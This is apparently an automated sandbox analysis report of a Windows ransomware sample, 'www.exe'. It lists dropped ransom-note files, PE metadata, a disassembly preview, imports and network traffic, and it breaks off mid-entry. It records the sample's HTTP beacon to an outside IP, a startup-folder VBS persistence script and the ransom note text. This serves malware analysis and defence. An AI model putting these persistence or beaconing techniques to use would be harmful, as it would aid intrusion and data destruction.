    C:\Users\user\Downloads\QCFWYSKMHA.jpg
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\QCFWYSKMHA.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\QNCYCDFIJJ.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\QNCYCDFIJJ.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\SQSJKEBWDT.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\SUAVTZKNFL.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\SUAVTZKNFL.pdf
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\SUAVTZKNFL.xlsx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\ZGGKNSUKOP.mp3
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!
    C:\Users\user\Downloads\ZQIXMVQGAH.docx
    Process:C:\Users\user\Desktop\www.exe
    File Type:ASCII text
    Category:dropped
    Size (bytes):84
    Entropy (8bit):4.243184850934331
    Encrypted:false
    SSDEEP:3:PJFbQSASlxXg+YGDIAC+AqjhJNeOLCE:xFNjXhPxCCl6Oj
    MD5:43F68CEC6D0F8B3BBC9E77EF84F03727
    SHA1:04270894F46D2E45520FD06752B7875B7AE08576
    SHA-256:49CF10E3F6EBB0FD58973FF26010620A3B846DAB5077AD41B30DD59EFC4E870A
    SHA-512:3CE9F48F733B35531F78E1E48CE1073035208478EF8426B25F12FE3FED5BFDC734E853B9B841486C298CF3A71CFCFBA2813D3BD93C218F6A39F9EE5C1985306B
    Malicious:false
    Preview: Ooops, You were been ransomwared :(.Your files are unrecoverable, good job cleaning!

    Static File Info

    General

    File type:PE32 executable (console) Intel 80386, for MS Windows
    Entropy (8bit):7.367493617151168
    TrID:
    • Win32 Executable (generic) a (10002005/4) 99.96%
    • Generic Win/DOS Executable (2004/3) 0.02%
    • DOS Executable Generic (2002/1) 0.02%
    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
    File name:www.exe
    File size:214016
    MD5:44a6812e4e59737b2f8afcc130a0889a
    SHA1:1a83934d8a349222b5869ddb0ad096135a955c27
    SHA256:207b5ac6c78b23922be438ba29bce1a4fd73bb5748906c594f13eaa8b597c284
    SHA512:1e548b208a347b1e09c146108c55cfd3a3844decca5873194a9aa54ec1dce09b9469389b37e8afb674bb5cfe29f55e5aa2f27218e3367e47b3e5d1406f5eaa5a
    SSDEEP:6144:JFAiqdHAfQpq+t5LqRCPTipr0DelGMWz:JFPGHxA+tlqwipJW
    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}.................................................................g...................Rich............................PE..L..

    File Icon

    Icon Hash:00828e8e8686b000

    Static PE Info

    General

    Entrypoint:0x4133d5
    Entrypoint Section:.text
    Digitally signed:false
    Imagebase:0x400000
    Subsystem:windows cui
    Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
    DLL Characteristics:TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
    Time Stamp:0x61BE5F47 [Sat Dec 18 22:23:03 2021 UTC]
    TLS Callbacks:
    CLR (.Net) Version:
    OS Version Major:6
    OS Version Minor:0
    File Version Major:6
    File Version Minor:0
    Subsystem Version Major:6
    Subsystem Version Minor:0
    Import Hash:ab4439f8141e4e4f857bf84edbc972e7

    Entrypoint Preview

    Instruction
    call 00007F300879D466h
    jmp 00007F300879CCF9h
    retn 0000h
    int3
    int3
    int3
    int3
    int3
    int3
    int3
    int3
    int3
    int3
    int3
    int3
    int3
    int3
    push 00413435h
    push dword ptr fs:[00000000h]
    mov eax, dword ptr [esp+10h]
    mov dword ptr [esp+10h], ebp
    lea ebp, dword ptr [esp+10h]
    sub esp, eax
    push ebx
    push esi
    push edi
    mov eax, dword ptr [004331E4h]
    xor dword ptr [ebp-04h], eax
    xor eax, ebp
    push eax
    mov dword ptr [ebp-18h], esp
    push dword ptr [ebp-08h]
    mov eax, dword ptr [ebp-04h]
    mov dword ptr [ebp-04h], FFFFFFFEh
    mov dword ptr [ebp-08h], eax
    lea eax, dword ptr [ebp-10h]
    mov dword ptr fs:[00000000h], eax
    ret
    push ebp
    mov ebp, esp
    push esi
    mov esi, dword ptr [ebp+08h]
    push dword ptr [esi]
    call 00007F300879D616h
    push dword ptr [ebp+14h]
    mov dword ptr [esi], eax
    push dword ptr [ebp+10h]
    push dword ptr [ebp+0Ch]
    push esi
    push 00413026h
    push 004331E4h
    call 00007F300879D553h
    add esp, 1Ch
    pop esi
    pop ebp
    ret
    and dword ptr [ecx+04h], 00000000h
    mov eax, ecx
    and dword ptr [ecx+08h], 00000000h
    mov dword ptr [ecx+04h], 00417578h
    mov dword ptr [ecx], 00416438h
    ret
    push ebp
    mov ebp, esp
    sub esp, 0Ch
    lea ecx, dword ptr [ebp-0Ch]
    call 00007F300879CE5Fh
    push 0041AEA4h
    lea eax, dword ptr [ebp-0Ch]
    push eax
    call 00007F300879D4E3h
    int3
    jmp 00007F300879D519h

    Rich Headers

    Programming Language:
    • [IMP] VS2008 SP1 build 30729

    Data Directories

    NameVirtual AddressVirtual Size Is in Section
    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
    IMAGE_DIRECTORY_ENTRY_IMPORT0x1aec00x12c.rdata
    IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
    IMAGE_DIRECTORY_ENTRY_BASERELOC0x350000x1508.reloc
    IMAGE_DIRECTORY_ENTRY_DEBUG0x175900x1c.rdata
    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
    IMAGE_DIRECTORY_ENTRY_TLS0x176800x18.rdata
    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x175b00x40.rdata
    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
    IMAGE_DIRECTORY_ENTRY_IAT0x160000x37c.rdata
    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

    Sections

    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
    .text0x10000x14b6c0x14c00False0.575454160392data6.57405120415IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
    .rdata0x160000x6bec0x6c00False0.344184027778data4.72789467975IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
    .data0x1d0000x175e00x17200False0.966955236486PNG image data, 174 x 289, 8-bit/color RGBA, non-interlaced7.97876140569IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
    .reloc0x350000x15080x1600False0.773082386364data6.44079748382IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

    Imports

    DLLImport
    MSVCP140.dll?_Xregex_error@std@@YAXW4error_type@regex_constants@1@@Z, ?_Decref@facet@locale@std@@UAEPAV_Facet_base@3@XZ, ?_Incref@facet@locale@std@@UAEXXZ, ?_Lock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ, ?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAEXXZ, ?imbue@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAEXABVlocale@2@@Z, ?overflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAEHH@Z, ?pbackfail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAEHH@Z, ?seekoff@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE?AV?$fpos@U_Mbstatet@@@2@_JHH@Z, ?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z, ?setbuf@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAEPAV12@PAD_J@Z, ?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JXZ, ?sync@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAEHXZ, ?uflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAEHXZ, ?underflow@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAEHXZ, ?id@?$ctype@D@std@@2V0locale@2@A, ?id@?$codecvt@DDU_Mbstatet@@@std@@2V0locale@2@A, ?id@?$collate@D@std@@2V0locale@2@A, ?_Xbad_function_call@std@@YAXXZ, ??5?$basic_istream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAVios_base@1@AAV21@@Z@Z, ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z, ??1?$basic_istream@DU?$char_traits@D@std@@@std@@UAE@XZ, ??0?$basic_istream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ??_D?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ, ?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z, ??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UAE@XZ, ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IAE@XZ, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UAE@XZ, ?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPBD_J@Z, ?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPAD_J@Z, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXXZ, ?_Pninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ, ?_Gndec@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEPADXZ, ?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ, ?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ, ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ, ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ, ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z, ?unshift@?$codecvt@DDU_Mbstatet@@@std@@QBEHAAU_Mbstatet@@PAD1AAPAD@Z, ?out@?$codecvt@DDU_Mbstatet@@@std@@QBEHAAU_Mbstatet@@PBD1AAPBDPAD3AAPAD@Z, ?in@?$codecvt@DDU_Mbstatet@@@std@@QBEHAAU_Mbstatet@@PBD1AAPBDPAD3AAPAD@Z, ?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z, ?tolower@?$ctype@D@std@@QBEPBDPADPBD@Z, ?tolower@?$ctype@D@std@@QBEDD@Z, ?always_noconv@codecvt_base@std@@QBE_NXZ, ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ, ?_Init@locale@std@@CAPAV_Locimp@12@_N@Z, ??1facet@locale@std@@MAE@XZ, ??0facet@locale@std@@IAE@I@Z, ??Bid@locale@std@@QAEIXZ, ?c_str@?$_Yarn@D@std@@QBEPBDXZ, ?_Getcoll@_Locinfo@std@@QBE?AU_Collvec@@XZ, ??1_Locinfo@std@@QAE@XZ, ??0_Locinfo@std@@QAE@PBD@Z, _Strxfrm, _Strcoll, ?_Winerror_map@std@@YAHH@Z, ?_Syserror_map@std@@YAPBDH@Z, ??0_Lockit@std@@QAE@H@Z, ?_Throw_Cpp_error@std@@YAXH@Z, ?_Throw_C_error@std@@YAXH@Z, _Cnd_do_broadcast_at_thread_exit, _Mtx_unlock, _Mtx_lock, _Mtx_destroy_in_situ, _Mtx_init_in_situ, _Thrd_id, _Thrd_join, _Thrd_detach, ?_Xout_of_range@std@@YAXPBD@Z, ?_Xlength_error@std@@YAXPBD@Z, ?_Xinvalid_argument@std@@YAXPBD@Z, ?_Xbad_alloc@std@@YAXXZ, ??1_Lockit@std@@QAE@XZ, ?seekpos@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE?AV?$fpos@U_Mbstatet@@@2@V32@H@Z
    WS2_32.dllgetpeername, __WSAFDIsSet, connect, ioctlsocket, getsockopt, getnameinfo, ntohs, recv, select, send, setsockopt, shutdown, socket, WSAStartup, WSACleanup, WSAGetLastError, WSASocketW, getaddrinfo, freeaddrinfo, closesocket
    USER32.dllShowWindow
    KERNEL32.dllGetLastError, AreFileApisANSI, GetFileAttributesExW, FindNextFileW, FindFirstFileExW, FindClose, CreateFileW, FormatMessageA, LocalFree, Process32Next, Process32First, CreateToolhelp32Snapshot, GetConsoleWindow, LoadLibraryA, GetProcAddress, GetModuleHandleA, OpenProcess, TerminateProcess, CloseHandle, MultiByteToWideChar, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, GetModuleHandleW, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, GetFileInformationByHandleEx
    VCRUNTIME140.dll__std_terminate, _except_handler4_common, __current_exception_context, __current_exception, memset, memmove, memcpy, memcmp, memchr, __CxxFrameHandler3, _CxxThrowException, __std_exception_destroy, __std_exception_copy, strchr
    api-ms-win-crt-runtime-l1-1-0.dll_c_exit, __p___argv, __p___argc, system, _exit, terminate, _register_thread_local_exe_atexit_callback, _initterm_e, _wassert, _beginthreadex, _errno, _controlfp_s, _invalid_parameter_noinfo_noreturn, _configure_narrow_argv, _initialize_narrow_environment, _initialize_onexit_table, _register_onexit_function, _crt_atexit, _cexit, _seh_filter_exe, _set_app_type, exit, _get_initial_narrow_environment, _initterm
    api-ms-win-crt-stdio-l1-1-0.dll_fseeki64, fwrite, _set_fmode, fclose, fflush, fgetc, fgetpos, __stdio_common_vsprintf, fputc, fsetpos, fread, __p__commode, _get_stream_buffer_pointers, ungetc, setvbuf
    api-ms-win-crt-filesystem-l1-1-0.dll_unlock_file, _lock_file
    api-ms-win-crt-heap-l1-1-0.dll_callnewh, free, _set_new_mode, malloc, realloc
    api-ms-win-crt-convert-l1-1-0.dllstrtoull, strtoul, strtol
    api-ms-win-crt-environment-l1-1-0.dllgetenv
    api-ms-win-crt-string-l1-1-0.dlltolower, isdigit, _stricmp
    api-ms-win-crt-locale-l1-1-0.dll___lc_codepage_func, _configthreadlocale
    api-ms-win-crt-math-l1-1-0.dll__setusermatherr

    Network Behavior

    Snort IDS Alerts

    TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
    12/22/21-06:33:36.165456ICMP402ICMP Destination Unreachable Port Unreachable192.168.2.1192.168.2.3

    Network Port Distribution

    TCP Packets

    TimestampSource PortDest PortSource IPDest IP
    Dec 22, 2021 06:32:59.069442987 CET4974780192.168.2.352.18.63.80
    Dec 22, 2021 06:32:59.111284018 CET804974752.18.63.80192.168.2.3
    Dec 22, 2021 06:32:59.111418962 CET4974780192.168.2.352.18.63.80
    Dec 22, 2021 06:32:59.114521980 CET4974780192.168.2.352.18.63.80
    Dec 22, 2021 06:32:59.156097889 CET804974752.18.63.80192.168.2.3
    Dec 22, 2021 06:33:04.122375965 CET4974780192.168.2.352.18.63.80
    Dec 22, 2021 06:33:04.163932085 CET804974752.18.63.80192.168.2.3
    Dec 22, 2021 06:33:04.164026976 CET4974780192.168.2.352.18.63.80
    Dec 22, 2021 06:33:15.364943981 CET4974880192.168.2.352.18.63.80
    Dec 22, 2021 06:33:15.409871101 CET804974852.18.63.80192.168.2.3
    Dec 22, 2021 06:33:15.409961939 CET4974880192.168.2.352.18.63.80
    Dec 22, 2021 06:33:15.410365105 CET4974880192.168.2.352.18.63.80
    Dec 22, 2021 06:33:15.457139969 CET804974852.18.63.80192.168.2.3
    Dec 22, 2021 06:33:20.405288935 CET4974880192.168.2.352.18.63.80
    Dec 22, 2021 06:33:20.449769974 CET804974852.18.63.80192.168.2.3
    Dec 22, 2021 06:33:20.449927092 CET4974880192.168.2.352.18.63.80
    Dec 22, 2021 06:34:29.217667103 CET4967180192.168.2.352.18.63.80
    Dec 22, 2021 06:34:32.223870039 CET4967180192.168.2.352.18.63.80
    Dec 22, 2021 06:34:38.224306107 CET4967180192.168.2.352.18.63.80
    Dec 22, 2021 06:35:33.631753922 CET4967280192.168.2.352.18.63.80
    Dec 22, 2021 06:35:36.635893106 CET4967280192.168.2.352.18.63.80
    Dec 22, 2021 06:35:42.636383057 CET4967280192.168.2.352.18.63.80

    UDP Packets

    TimestampSource PortDest PortSource IPDest IP
    Dec 22, 2021 06:34:31.243319988 CET6418553192.168.2.38.8.8.8
    Dec 22, 2021 06:34:32.239734888 CET6418553192.168.2.38.8.8.8
    Dec 22, 2021 06:34:33.255521059 CET6418553192.168.2.38.8.8.8
    Dec 22, 2021 06:34:35.271188021 CET6418553192.168.2.38.8.8.8
    Dec 22, 2021 06:34:39.287130117 CET6418553192.168.2.38.8.8.8
    Dec 22, 2021 06:35:35.640461922 CET5371053192.168.2.38.8.8.8
    Dec 22, 2021 06:35:36.636012077 CET5371053192.168.2.38.8.8.8
    Dec 22, 2021 06:35:37.651698112 CET5371053192.168.2.38.8.8.8
    Dec 22, 2021 06:35:39.667359114 CET5371053192.168.2.38.8.8.8
    Dec 22, 2021 06:35:43.667891026 CET5371053192.168.2.38.8.8.8

    DNS Queries

    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
    Dec 22, 2021 06:34:31.243319988 CET192.168.2.38.8.8.80x898fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)
    Dec 22, 2021 06:34:32.239734888 CET192.168.2.38.8.8.80x898fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)
    Dec 22, 2021 06:34:33.255521059 CET192.168.2.38.8.8.80x898fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)
    Dec 22, 2021 06:34:35.271188021 CET192.168.2.38.8.8.80x898fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)
    Dec 22, 2021 06:34:39.287130117 CET192.168.2.38.8.8.80x898fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)
    Dec 22, 2021 06:35:35.640461922 CET192.168.2.38.8.8.80x9d2fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)
    Dec 22, 2021 06:35:36.636012077 CET192.168.2.38.8.8.80x9d2fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)
    Dec 22, 2021 06:35:37.651698112 CET192.168.2.38.8.8.80x9d2fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)
    Dec 22, 2021 06:35:39.667359114 CET192.168.2.38.8.8.80x9d2fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)
    Dec 22, 2021 06:35:43.667891026 CET192.168.2.38.8.8.80x9d2fStandard query (0)canonicalizer.ucsuri.tcsA (IP address)IN (0x0001)

    HTTP Request Dependency Graph

    • 52.18.63.80

    HTTP Packets

    Session IDSource IPSource PortDestination IPDestination PortProcess
    0192.168.2.34974752.18.63.8080C:\Users\user\Desktop\www.exe
    TimestampkBytes transferredDirectionData
    Dec 22, 2021 06:32:59.114521980 CET999OUTGET /feedback/7n7mx52agvhlo5s204il15i2z/index.html HTTP/1.1
    Accept: */*
    Connection: close
    Host: 52.18.63.80
    User-Agent: cpp-httplib/0.9


    Session IDSource IPSource PortDestination IPDestination PortProcess
    1192.168.2.34974852.18.63.8080C:\Users\user\Desktop\www.exe
    TimestampkBytes transferredDirectionData
    Dec 22, 2021 06:33:15.410365105 CET999OUTGET /feedback/7n7mx52agvhlo5s204il15i2z/index.html HTTP/1.1
    Accept: */*
    Connection: close
    Host: 52.18.63.80
    User-Agent: cpp-httplib/0.9


    Code Manipulations

    Statistics

    Behavior

    Click to jump to process

    System Behavior

    Analysis Process: www.exe PID: 7084 Parent PID: 672

    General

    Start time:06:32:56
    Start date:22/12/2021
    Path:C:\Users\user\Desktop\www.exe
    Wow64 process (32bit):true
    Commandline:"C:\Users\user\Desktop\www.exe"
    Imagebase:0x290000
    File size:214016 bytes
    MD5 hash:44A6812E4E59737B2F8AFCC130A0889A
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:low

    Analysis Process: conhost.exe PID: 7092 Parent PID: 7084

    General

    Start time:06:32:56
    Start date:22/12/2021
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff7f20f0000
    File size:625664 bytes
    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high

    Analysis Process: wscript.exe PID: 6404 Parent PID: 3352

    General

    Start time:06:33:09
    Start date:22/12/2021
    Path:C:\Windows\System32\wscript.exe
    Wow64 process (32bit):false
    Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbs"
    Imagebase:0x7ff742480000
    File size:163840 bytes
    MD5 hash:9A68ADD12EB50DDE7586782C3EB9FF9C
    Has elevated privileges:false
    Has administrator privileges:false
    Programmed in:C, C++ or other language
    Reputation:high

    Analysis Process: h.exe PID: 6668 Parent PID: 6404

    General

    Start time:06:33:12
    Start date:22/12/2021
    Path:C:\Users\user\AppData\Local\Temp\h.exe
    Wow64 process (32bit):true
    Commandline:"C:\Users\user\AppData\Local\Temp\h.exe"
    Imagebase:0x840000
    File size:214016 bytes
    MD5 hash:44A6812E4E59737B2F8AFCC130A0889A
    Has elevated privileges:false
    Has administrator privileges:false
    Programmed in:C, C++ or other language
    Antivirus matches:
    • Detection: 100%, Joe Sandbox ML
    • Detection: 21%, ReversingLabs
    Reputation:low

    Analysis Process: conhost.exe PID: 6684 Parent PID: 6668

    General

    Start time:06:33:12
    Start date:22/12/2021
    Path:C:\Windows\System32\conhost.exe
    Wow64 process (32bit):false
    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    Imagebase:0x7ff7f20f0000
    File size:625664 bytes
    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
    Has elevated privileges:false
    Has administrator privileges:false
    Programmed in:C, C++ or other language
    Reputation:high

    Analysis Process: cmd.exe PID: 6992 Parent PID: 7084

    General

    Start time:06:33:29
    Start date:22/12/2021
